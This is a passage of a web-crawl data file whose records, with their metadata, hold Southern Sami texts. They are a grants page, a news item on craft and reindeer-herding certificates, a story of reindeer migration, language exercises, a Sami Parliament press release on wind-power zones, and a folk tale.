evtiedidh","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2017-11-21T12:14:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806353.62\/warc\/CC-MAIN-20171121113222-20171121133222-00698.warc.gz","language":"sma","language_score":0.9999768734,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999768733978271}","num_words":81,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nieljie saemieh jååktan åadtjoejin faageprieviem Noerthe-Trøøndelagesne.\nFylhkenraerie Maj-Britt Lagesen lij dihte gie prievide vedti Ellen Kristina Jih Sanne-Marja Utsise gieh legan duedtie vaalteme. Toamma Thomasson jih Jon Henrik Jåma åådtjeme prievem båatsoelearohken åvteste.\n– Manne gøøkte jaepieh baarkeme dejnie. Manne nejpie jih ovmessie plijrehtahkh dorjeme. Daate gujht joekoen luste. Manne leam «faglært», Elen Kristina Utsi jeahta.\nDihte giehtelamme garreduedtine, jih lea madtjeles dihte faageprieviem åådtjeme.\n– Hijven gujht domtoe, daelie manne sijhtem vihth vuelkedh barkedh. Manne tuhtjem lea dan luste.\nMyøvhkeduedtie jih båatsoefaage\nElen Kristinan stoerreåabpa, Sanne-Marja Utsi, aaj faageprieviem vaalteme, mohte dihte myøvhkeduedtiesne veelti.\n– Daelie gujht domtoe gaajh buerie, jih luste faagprieviem daebpene aaj Tråantesne gosse lea stoerreluhkie jaepieh heevehtimmie, Sanne-Marja jeahta.\nDihte lea giehtelamme skåerrine, gaamesigujmie jih goelkegaamegh gååreme.\n– Goltelieh mannem daelie\nEah leah dan jijnjh almetjh gie lea faageprieviem båatsoefaagesne vaalteme. Mohte Toamma Thomasson lea akte dejstie.\n– Daelie maahtam almetjidie soptestidh jis dåeriesmoerh sjædta gosse leam vaeresne jallh giedtesne ahte mov lea faageprievie, nimhtie datne maahtah mannem govledh, Toamma føørhkede.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.nrk.no\/sapmi\/_-lea-dan-luste-faageprieviem-aadtjodh-1.13368916","date":"2017-11-25T08:11:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934809695.97\/warc\/CC-MAIN-20171125071427-20171125091427-00538.warc.gz","language":"sma","language_score":0.9999725819,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999725818634033}","num_words":161,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget.\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh.\nSametinget ønsker å styrke samarbeidet med regionale og lokale myndigheter i arbeidet med å bevare og styrke samiske språk, samisk kultur, næringer og samfunnsliv. Gjennom etableringen av partnerskapsavtaler, samarbeidsavtaler med kommuner og fylkeskommuner, samt andre sentrale institusjoner hvis virksomhet berører samiske interesser.\nSametinget kan gi tilskudd til bedrifter som selger duodji for andre duodjiutøvere.\nFor å være kvalifisert til å søke om driftstilskudd og søke om velferdsordninger, må du være registrert i duodjiregistret.\nSametinget kan gi tilskudd til profilering av duodji og merkevarebygging der salg og markedsføring er prioritert.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2018-05-23T14:42:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794865679.51\/warc\/CC-MAIN-20180523141759-20180523161759-00593.warc.gz","language":"sma","language_score":0.9145981669,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9145981669425964, \"sme_Latn_score\": 0.057720381766557693, \"nob_Latn_score\": 0.025570856407284737}","num_words":169,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.922,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie tjaalegisnie Julia Axmann soptseste guktie dah juhtin. Soptsese lea gærjeste Gåebrehki soptsesh maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943 jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie tjaaleme.\nJuhtemen bïjre\nGïjrege gosse daelvie-laanteste jåhtajimh, dellie juhtiejimh jallese.* Voestes biejjien böötimh Aursundese jïh desnie jïjjen bijjelen. Mubpien biejjien galkimh gierehtsh gaarhkedidh jïh gïjre-maksovh minngesne vaeltedh: bearkoeh, jaavvoeh jïh buejtieh jïh prïhtjegh kriedtjieh. Jïh bovtsen mielhkiem veedtjimh Jolhteristie, maam giesege båhtjeme juktie limh båateme gïjre-laantese. Mielhkie-geegkh utnimh Mahkalahkesne aaj, maam veedtjimh juktie lïhkebe båateme. Jïh dah mah galkin ryöjnesjidh, tjïehtin iehkeden aelkiestidh bovtsem jallese. Jïh die muvhth galkin raajroem lijrehtidh. Jïh die dah mah raajroem lijrehtin, dah tjïehtin aereden vuestie vuelkedh. Jïh dan biejjien Gullhåågese böötin, men manne tjïehtim baetsedh jïh golme miesehke-aaltoeh fåarhtahtidh mah jïjjen sööhpeme. Manne göökte biejjieh tjiskesjim Gullhåågese. Idtjim manne gåhkese båetieh dej slibnjehke miesiejgujmie voestes biejjiej. Gosse Gullhåågese böötim, dellie juhtijh joe vualkeme. Manne tjïehtim minngielistie fåarhtahtidh. Idtji gåaredh miesehke-aaltoeh baajedh oktegh årrodh reajnoen. Tjïehtim jïjjh biejjieh dej aaltoej lïhke. Doh juhtijh joe båateme gïjre-gåetide gosse manne böötim minngielistie.\nVoestegh tjïehtin beavkodh lopmem gåetien sistie: gåetie lij dïeves lopmeste. Gaarmanæjjah moerh tjoehpedh, mijjieh nyjsenæjjah doerkh dåajodh jïh gåetiem doerkestidh. Jïh die gieriehtsijstie die gåatan guedtedh doeltemes lihtieh jïh maksovh. Jïh loehkesne muvhtem maksovem baajimh årrodh. Tryjjes badth saemien gåetesne gïjrege gosse buaredh, men gosse ebrieh sliehtieh, dellie gåetie soeveste. Vearremes tjelmide dïhte soeve, gosse galka olkese ryöjnesjidh.\nDellie gööktesi gööktesi dellie ryöjnesjimh, åvtesne muvhth jïjjen jïh muvhth biejjien. Idtjin maksovh jïh prïhtjegh minngesne utnieh. Men dellie gosse dygnh ryöjnesjidh, dellie maksovh jïh prïhtjegh minngesne utnedh. Bovtse-raedtesne gosse bovtse lovvesje, dellie dållem beejimh jïh såågkesem doeltehtimh. Luste dellie tjahkasjidh jïh maksovh fihkedh jïh prïhtjegh jovkedh. Men dellie badth for jeenjem prïhtjegem muvhten aejkien jovkimh. Gosse bovtse velkiehti, tjïehtimh varke minngielistie, olles gåhkese vuelkieh.\nGosse gille dygnh ryöjnesjamme, dellie dijpimh jïh råahkem reerhkimh. Dellie akte råahkem ryöjnesji, akte jïjjem jïh akte biejjiem, jïh miesiehkisnie aaj gööktesh molsestallin. Miesehkem tjeahta aktegh, ij dïhte væjreskh gosse såahpoeminie. Råahkine feeledieh bïjre jarkan jïh tjöönghkedieh tjormh råtnoeh. Tjormh dan jïjtjeraarehke, sijhtieh fealadidh gåhkese bïjre. Bööremes dejtie utnedh råahkesne. Voestes iereste dellie råahke dan stååvehke, men gosse snuehtiem damta, dellie aelkeste hajkedh. Men dellie gosse miesehke sååhpeme jïh snuehtie sjædta, dellie dah stååvehke.\nGosse gïjre-laantesne orreme jovnesåhkoej mænngan, dellie jåhtajimh voestes-gieseste Jolhterasse.\nGosse giesege jåhta, dellie svæhkah gæjsah. Jïh gæjsan sïjse leenie bearkoeh jïh doeltemes-lihtieh, jïh gæjsam gårrede svæhkide jïh beaja råantjoen rudtjese, aktem gæjsam fïere guhte bealan. Jïh die maajsoeh gaarebe. Fïere guhte tjeahta guedtedh, muvhth råavkoeh dueljieh, mielhkie-lihtieh jïh vaarjoeh. Tjåanghkene badth bægkah gosse numhtie johtehtjadta. Jïh dah mah maanah utnieh, maanam gïerhkemasse gaarhkedh. Aehtjie jis asta jallh tjidtjie tjeahta guedtedh. Jïh stuerebh maanah jïjtjh vaedtsieh akten lïegkeden. Gosse båateme årrome-sæjjan, tjïehtimh prïhtjegh maksovh stealladidh dejtie ryöjnesjæjjide mah galkin mubpiej gujmie målsodh. Bïenjide aaj feadam stealladidh, dah tjïehtin guhkiem jieledh feadahtapth. Jïh die tjïehti maksovh utnedh dejtie ryöjnesjæjjide mah iehkeden böötin.\nJolhterisnie giedtiem provhkimh jïh miesieh mïerhkesjimh jïh skraevviestimh. Gosse gelkieh skraevviestidh, dellie mijjieh nyjsenæjjah galkebe skraavvah vuartasjidh jïh orre gurruvh muvhtide skraavvide biejedh. Jïh jis skraavva-moerh geerve, dellie kaarrh skraavva-moerh gaavnedh. Dah leah gasngesistie. Jïh die tseahkodh, jïh mijjieh nyjsenæjjah orre gurruvh biejedh. Jïh die didtesjidh dejtie båeries skraavvide jïh die bådtjadidh båervine.\nIehkeden ryöjnesjæjjah bovtsine båetieh geadtan. Mijjieh mah gåetesne, galkebe aaj viehkiehtidh jïh bovtsem tsaekedh. Nyjsenæjjah skraavvajgujmie geadtan, jïh gaarmanæjjah gelkieh miesieh åådtjedidh jïh nyjsenæjjah skraevviestidh. Jïh dan jïjjen gööktesh golmesh ryöjnesjin. Aehtjie jeehti galkebe tjimkes-lïgke ryöjnesjidh ollebe skraevvies-bovtseste gaervehth. Jis gaerviehtibie, dellie dan geerve sjædta dejtie ohtje meeside, njaelmie saejrien sjædta. Jïh die aereden gåatoehtidh guktie bovtse gallas, guktie galka tjåadtjodh giedtesne abpe biejjiem. Gosse bovtsine båata geadtan, tjiehtieh gaajhkesh dallegh aelkiestidh, gaarmanæjjah aaltoeh åådtjedidh. Juktie såekieh giedtesne, dellie dejtie vïedth-moerine, jïh dejtie laemtjieh gårredidh. Gosse åådtjedæjja aaltojne båata soehpenjisnie, dellie veadta laamtjan. Mijjieh nyjsenæjjah dallegh buhtjedh. Idtjimh dan biejjien asth såågkesh doeltehtidh jïh meksiehtidh. Mielhkiem jovkimh, jïh destie gallanimh.\nMuvhtene geegkem dievhtimh mielhkeste, gosse guektien aejkien skraevviestamme, dam mielhkiem galkimh utnedh gïjrese. Voestegh baajimh mielhkiem doeltijidh geegken sisnie. Jïh die geegke-krogkese göödtin jïh gaptjedin, voestegh biessiejgujmie, jïh die dirhvin, guktie idtji edtjh gelmedh. Dïhte fïjne såvra sjïdti, maam utnimh gïjrege dovne såågkesasse, kreadtine, jïh laejpieh bissimh, jïh såvram provhkimh barre goh voejem.\nJolhterisnie årroejimh goske gaajhkesh geegkh deavhteme. Dellie juhtimh Mahkalahkese, jïh desnie giedtiem provhkimh jïh geegkh dievhtimh.\nJïh die Tjærråågese juhtimh. Desnie buhtjimh jïh vuastah daajhtoejimh jïh mielhkiem provhkimh joptsh doeltehtidh. Jïh vuasta-mæssoste aaj njaelkies joptse sjïdti. Jïh muvhtene gåmpam sjöövimh mæssoste. Dellie tjïehtimh giedtine galhkedh, juktie vystove sjïdti.\nDellie jåhtajimh Busjöese. Muvhten aejkien bovtsem njuanese tseekimh jïh laahkehts-mielhkiem buhtjimh. Vystoven bovtse barrene goh muerjie- bihkijh. Dellie vualka dovne boeltide jïh laedtide aaj nydtede. Men juktie rïhkedahke, dellie aaj tjåanghkene. Men dellie aaj båetebe ryöjnesjidh jïh bovtsem lovve-bahkese vuejiehtidh. Dellie aaj ånnetji buhtjiestibie, dellie mielhkie dan sååkehke, guktie maahta voejem sjöövedh. Jïh kaarrh nïhpesjin sarvah jïh tjåervieh sååkesjin jïh naan maatadims bovtsem veeltimh.\nMænngan rïhkedahken gosse sarva lovvede, dellie jov jemhkelds iehkedh. Jis lij reajnoe, dellie tjïehtimh bovtsem tjyöresjidh. Men gosse reajnoe, tjïehtimh jïjjen aaj bovtsem ryöjnesjidh. Dan jemhkelde idtjimh maam vuejnieh. Dellie barre goltelidh gogkoe bovtse feeli jïh gogkoe bealloeh govlimh. Jïh die tjïehtimh gïelem provhkedh guktie sïejpe gåvla ahte ryöjnesjæjja minngesne. Buerebe sjïdti gosse lopme eelki båetedh, dellie tjuavkadåbpoe sjïdti. Jïh dellie fihkimh gïjre-laanteste veedtjedh treavkah jïh gierehtsh. Men gille våhkoeh sjïdtimh Gullhåågesne tjaktjege aaj. Åesiestæjjah böötin galkin bovtsh åestedh. Dellie doekimh bovtsh dejtie, jïh gårroedahkh leekimh gïjrese. Dah gårrodh-bearkoeh såålhtimh lihtiej sïjse. Gosse gïjrege böötimh juhtien, dellie gajhkesjimh jïh minngesne veeltimh gosse jallese juhtimh.\nGosse jaevrieh galmeme, dellie voenese jåhtajimh jïh årroejimh desnie boelhkem, goske dan stoere jaevrien jïenge reaktoe galmeme, guktie gåarede dåaresth juhtedh.\nJïh nyjsenæjjah tjïehtin aelkiestidh daelvie-gaamegh gååredidh. Voestegh rïrresjimh jïh soenh butnimh. Dellie gaamesijstie jïh gaallojste gåaroejimh gaamegh jïh gamhtsh, jïh gaalsohkh aaj gåaroejimh gaamesijstie. Jïh die muadtah aaj tjïehtimh gåarodh. Miesien dueljijste bïjvelammes jïh mjovhkemes muadta sjædta. Voestegh dueljide båårhkesjibie jïh die tjåanghkan biejebe guktie måasoeh. Dellie vaeltebe jïh aalhtedibie gieseme-ruevtine nietskemen nelnie, jïh gajhkesjibie. Tjeahta geehtedh guktie ij edtjh dueljie dan gejhkie sjïdtedh. Dellie vitnehtibie aalgesth jïh dåaresth jïh bådtjadibie. Båerviem sjilkehtibie jïh ohtje derviem tjåanghkan, jïh dejnie bådtjadibie. Jïh dellie aaj vitnehtibie. Men tjeahta reaktoe vitnehtidh olles skaglan sjïdth. Eah gaajhkh nyjsenæjjah maehtieh muadtam vijjedh; men dïhte guhte maahta, dellie mubpide aaj vijjeste. Nyjsenæjjah gåaroejin dovne gaarmanæjjaj vaarjoeh, dovne orre vaarjoeh jïh tjohph, maam galkin utnedh gosse guessine feeledh. Idtjin dellie provhkh naan skreadteren gåajkoe, gaajhkh vaarjoeh barre gïetine gååredin. Jïh voedtegh daajhtoejin jïh beelhth jïh boenge-skuvmieh gåaroejin. Men kaarrh ditnie-beelhth utnin, mejtie akte beelhte - daajhtoje dååjhteme. Gaarmanæjjaj vætnoe treavkah daajhtodh jïh gaerieh aaj jïh guksieh jïh busth jïh dearhkah. Dellie barre moere-lihtieh utnimh. Jïh gierehtsh aaj daajhtoejin.\nDellie gosse daelvie-laantese jåhtajidh, tjïehtimh loehkem jïh göökte gierehtsh. Jis jeenjh maanah, dellie göökte vielie gierehtsh tjïehtin utnedh, gusnie maanah tjahkasjidh. Daelvege juhtiejimh bietsie-vuaman, gusnie aaj gåetieh utnimh muvhtene lehkesne, jïh muvhtene laedtien gaertienisnie hööltestimh.\nGosse fïjne gåatome jïh aales, dellie buerebe astoem åtna. Dellie sjaltan aaj vuaja jïh åeseste maam daarpesje. Jïh maarhnaj dellie vuelkieh vuejien råantjoej-gujmie, dah mah nöödtieh. Luste badth noere almetjidie maarhnide jïh råakedh jeatjah sïjten pååjkh jïh nïejth. Minngesne vaeltieh dueljieh jïh bearkoeh maam doekedh jïh jeatjebem bååstide åesiestidh. Luste vuejedh, gosse daemies råantjoe jïh mubpiej minngesne (= mubpiejgujmie ektesne), jïh juktie hijven daelhkie. Men sååjhtoe elmie jïh geerve daelhkie, dellie maahta guhkiem geajnosne sjïdtedh.[1]\n*(Etter kompasset nesten rett nord).\nDaennie tjaalegisnie baakoeh mah bokstaavem mïrhke ï utnieh sïejme i-ine tjaaleme. Mijjieh naaken daejstie baakojste mïrhke ï-ine tjaaleme, vg jïh, dïhte jnv.\nBaakoeh\nÅarjel-åarjel saemien\nÅarjel saemien\nfeadahtapth\nbeapmohth\nskraevviestidh\nskråevviestidh\nnydtedidh\nnydtehtidh\ngårrodh-bearkoeh\ngïjre-niestie\nnietskeme\nnieskeme\naalgesth\naalkesth\ntjyöresjidh\ntjearan (iehkeden) ryöjnesjidh\n- 1«Gåebrehki soptsesh». Bergsland, Knut. Universitetsforlaget. 1987.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\n- Kjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:172611","date":"2019-04-19T17:26:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00036.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":1335,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh teemese Saemien jïh aalkoe-almetji gïelh.\n1. laavenjasse\nDaan biejjien saemien-gïele viesjies jïh vaenie-låhkoen tsiehkesne stoere siebriedahkesne. Man åvteste læjhkan vihkele saemien lïeredh? Tjaelieh ussjedihks tjaalegem jïh buerkesth guktie gïele vihkele saemiej identiteetese jïh kultuvrese dov mïelen mietie. Guktie saemieh maehtieh jïjtse gïelem jïh kultuvrem nænnoestidh daaletje siebriedahkesne. Buerkesth vuesiehtimmiej-gujmie.\n2. laavenjasse\nSaemien-gïelen jïjnjh baakoeh jïh jiehtegh eatnemen jïh dovletje jielede-vuekiej bïjre, goh båatsoen, göölemen, lidtemen jïh vijremen bïjre. Vuartesjh videoem: Bruker over 300 ord for snø - NRK Sápmi\nVeeljh aktem teemam. Tjöönghkh baakoeh jïh guvvieh teeman bïjre. Darjoeh åehpiedehtemem guvviejgujmie jïh åehpiedehtieh.\n3. laavenjasse\nGoeredh guktie saemien gïeli tsiehkieh daan biejjien. Guktie noerhte-saemien gïelen tsiehkie jïh guktie dej unnebe saemien gïeli tsiehkieh goh åarjel-saemien? Ohtsedh bïevnesh gaske-viermesne. Tjaelieh åenehks ussjedihks tjaalegem daan teeman bïjre. Buerkesth vuesiehtimmiejgujmie.\n4. laavenjasse\nGoeredh guktie veartenen aalkoe-almetji gïeli tsiehkieh. Guktie daejrebe mennie tsiehkesne akte gïele, man håvhtadihks lea UNESCO:n mietie? Mennie tsiehkesne dah saemien gïelh? Ohtsedh bïevnesh gaske-viermesne. Tjaelieh åenehks bievnije tjaalegem daan teeman bïjre. Buerkesth vuesiehtimmiejgujmie.\nSaemien jïh aalkoe-almetji gïelhKjernestoff\n- Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:192043\/resource:1:190343","date":"2019-04-19T17:33:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00516.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":165,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nöörjen tjaetsie- jïh energijedirektoraate (NVE) lea tjaatsegisnie Nasjonaale mierie bïegkefaamose eatnamisnie raeriestamme 13 dajvh mah NVE veanhta bööremeslaakan sjiehtieh bigkemasse bïegkefaamoste. Båatsoedajvh Finnmaarhkesne jïh Trööndelaagesne leah dej dajvi gaskem.\n– Bïegkefaamoebigkeme lissine båata dejtie jeatjah soejkesjamme skilkehtasside gåatomedajvine, goh vuesiehtimmien gaavhtan bigkeme geajnojste, ruevtieraajroe, el-faamoelinjah jïh hæhtjoebigkeme, juktie naakedem neebnedh. Åarjelsaemien dajvesne båatsoe joe tjarke deadtoven nuelesne arealeskilkehtassi gaavhtan jïh daate akte stoerre jïh itjmies aajhtoe åarjelsaemien gïelen jïh kultuvren vööste, Muotka jeahta.\nReektehtse såemiesmearan saemien åtnoem dajvine buerkeste\nAkte detaljekaarhte lea dorjesovveme dejtie vaeljehke dajvide, jïh NVE lea aaj buerkiestamme man åvteste sijjieh leah dejtie ovmessie dajvide veeljeme. Dajvi sisnjeli bielieh gååvnesieh mah eah edtjh bigkemasse åtnasovvedh, naakede mij aaj lea våajnoes detaljekaarhtine. Desnie buerkiestamme guktie NVE lea dam tjåenghkies mööremem skilkehtassijste vuarjasjamme dejnie vaeljehke dajvine.\nSaemiedigkieraerie veanhta vihkeles NVE lea voejhkelamme saemien åtnoem buerkiestidh goh akte bielie goerehtallemistie. Dagkerh tjaatsegh ååpsen daamtaj aktem ållesth daajroevåaromem fååtesieh gosse edtja stoerre bigkemh tjïrrehtidh.\n– Mov tjoeperdimmie lea læjhkan ektiedamme dan stoerre jïh tjåenghkies bigkemedeadtoevasse prååsehke gåatomedajvide, jïh NVE sov reektehtsisnie annje orre prosjekth dejnie dajvine sjïehteladta gusnie joe lea gellie jïh stoerre arealeskilkehtassh. Bielieh daehtie raeriestimmeste leah akte lissiehtasse dan tjåenghkies bigkemedeadtoevasse, jïh Saemiedigkie ij maehtieh dam dåarjoehtidh guktie raeriestimmie lea daelie.\nKonsultasjovni bïjre birrie\nNVE sov åehpiedehtiemisnie dehtie nasjonaale miereste bïegkefaamose tjïertesti ohtsemh dej tjïertestamme dajvi ålkoli eah sïjhth prioriteradamme sjïdtedh. Daate sæjhta jiehtedh dah eah sjïehteledtieh orre bïegkefaamoem bigkedh Romsesne jïh stoerre bieline Nordlaanteste. NVE aaj beevni reektehtse ij sïjhth ulmiem utnedh bïegkefaamoevïerhkide mejtie joe lea luhpie vadtasovveme, men dïhte maahta ulmiem åadtjodh bïegkefaamoeohtsemidie mah daelie leah gïetedimmesne energijeåejvieladtji luvnie. Naemhtie guktie daate raeriestimmie vååjnoe daelie dellie bïegkefaamoesoejkesjh Luvlie Finnmaarhkesne eah sïjhth sjyöhtehke årrodh vielie bigkemasse.\n– Saemiedigkie aadtjen reektehtsem åådtjeme jïh mijjieh sijhtebe dam eensilaakan gïehtjedidh daelie. Saemiedigkie sæjhta konsultasjovni bïjre birredh Ålja- jïh enegijedepartemeentine juktie gorredidh saemien ïedtjh jïh reakta-aajhterh edtjieh gorresovvedh dennie guhkiebasse barkosne daejnie raeriestimmine NVE:ste. Manne aktem tjïelkestimmiem departemeenteste veanhtedem guktie dah sijhtieh ohtsemh gïetedidh mejtie soejkesjeminie dej vaeljehke dajvi ålkoli, Muotka jeahta.\nAamhtesem gïetedæmman vaalta stoerretjåanghkosne\nSaemiedigkieraerie sæjhta raeriestimmiem NVE:ste gïetedæmman Saemiedigkesne buektedh båetije stoerretjåanghkosne. Vihkeles Saemiedigkien politihkerh astoem jïh nuepiem åadtjoeh lahtestimmiem buektedh aktene aamhtesisnie goh daate Saemiedigkien veanhta bïegkefaamoe uvtemes edtja tseegkesovvedh dej dajvi lïhke gusnie gellie almetjh årroeminie, jïh ij dejnie miehtjies dajvine mah leah joekoen vihkeles saemien årroejidie.\n– Daate faamosne dovne mijjen aerpievuekien åtnose daejstie dajvijste jih båatsose mij joe lea deadtoven nuelesne gellede lehkeste, saemiedigkieraerie Silje Karine Muotka jeahta.\nJis gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Silje Karine Muotka, tel: 9848757","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemien-tjoeperdimmie-juktie-baaatsoedajvh-mah-joe-leah-tjarke-deadtoven-nuelesne-maehtieh-biegkefaamoebigkemasse-aatnasovvedh","date":"2019-04-26T09:48:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578765115.93\/warc\/CC-MAIN-20190426093516-20190426115516-00172.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":407,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Aarporten jïh Åarjel-smaaregen soptsesh maam Just Knud Qvigstad tjaaleme. Lajla Mattsson Magga lea gærjam daaletje tjaeleme-vuekien mietie tjaaleme.\nNjeevetje-ietnie jïh Rovhtege\nAkte saemien gåmma guhten nomme lij Njeevetje-ietnie. Dïhte lij akten aejkien vaadtsajamme muerjie-skåakese. Dle bööti laadthbïekerasse, dle Rovhtegem gaavnesje. Rovhtege onne nïejtetjem meatan utni. Njeevetje-ietnie onne baahtjetjem utni.\nDellie Rovhtege jeahta dan Njeevetje-ietnije (Njeevetje-eatnan): \"Sïjhth edtjien tsygkedidh dan mov nïejten jïh dan dov baernien bïjre, gåabpa aerebi dåhkesje muerjie-kåarjem tjöönghkedh dïeves? Jis manne dåhkesjem tjåegkedh mov kåarjem, dellie lea dïhte dov baahtje mov. Jis datne aerebi tjöönghkh dov kåarjem dïeves, dle åadtjoeh utnedh dov baerniem, dle åadtjoeh mov nïejtem aaj.\"\nNjeevetje-ietnie idtji goh sïjhth gænnah, men Rovhtege eelki muerjieh tjåegkedh. Njeevetje-ietnie aaj tjöönghkegööti. Men Rovhtege suelede burhvieh jïh murhtieh (morhth) jïjtse kåarjen sïjse tjöönghki jïh onne muarjetjh bijjelde. Goh lij Rovhtege dam dorjeme, dle gylje Njeevetje-ietnije (Njeevetje-eatnan): \"Båetieh! Vuajnah, manne leam joe tjöönghkeme dïeves mov kåarjem.\" Njeevetje-ietnie vaadtsiji Rovhtegen gåajkoe. Njeevetje-ietnie guhte lij tjöönghkeme raajnes muerjieh, dïhte ij leam (ij lij) tjöönghkeme jeenebem goh gaske-mearan dam sov kåarjem. Rovhtege bïksi Njeevetje-ietnien baerniem jïh voelkehti. Njeevetje-ietnie beetsi barre Rovhtegen nïejtine. Njeevetje-ietnie haarmese sjïdti jïh tjyöre. Dellie tjoeveri Njeevetje-ietnie vaeltedh Rovhtegen nïejtem meatan sov hïejmen gåajkoe.\nRovhtege eeli dam Njeevetje-ietnien baahtje; stoerre rïekte væjrere (vijrije) sjïdti; voetjele gedtieh jïh gaajhkh slaaks vijrieh. Biejjege, gosse lij dïhte baahtje båarhte, dle Rovhtege vaarrede, tsååbph jïh hussegh jïh snjearah tjöönghkie gåatan jïh bårra. Dan baahtjen boektelimmie vïjren bearkojste ij leam (ij lij) goh dan snåale guktie dejtie jïjtsese boektelimmie vaejsjide. Baahtje dehtie sov tjidtjeste asvedi, juktie bårra gaajhke ovraajnes beapmoeh.\nAkten aejkien dïhte baernie jïjtsasse niestiem leeki; dle mïnniji skåakese. Dle bööti akten bïerje-baahkoje (-baahkose); dle öödtji (åadtjoeji) vuejnedh: soeve berkeste dehtie bïerje-baahkoste; dle vaadtsiji dahkoe. Dellie öödtji (åadtjoeji) vuejnedh, onne gåatetje bïerje gaskesne. Dle vaadtsa dahkoe jïh guatsa riehpienasse ålkolde jïh guavla gåetien sïjse. Dle vuajna aktem gaampel gåmmam jïh akten bra nov (naa) stoerre nïejtetjem. Rigkesne lij jis krovhte gævnjesjeminie. Dle vuajna krovhten sisnie gaampel gaamegh; dle onterde dïhte baernie: \"Eah dah almetjh jeatjah beapmoeh utnieh goh gaampel 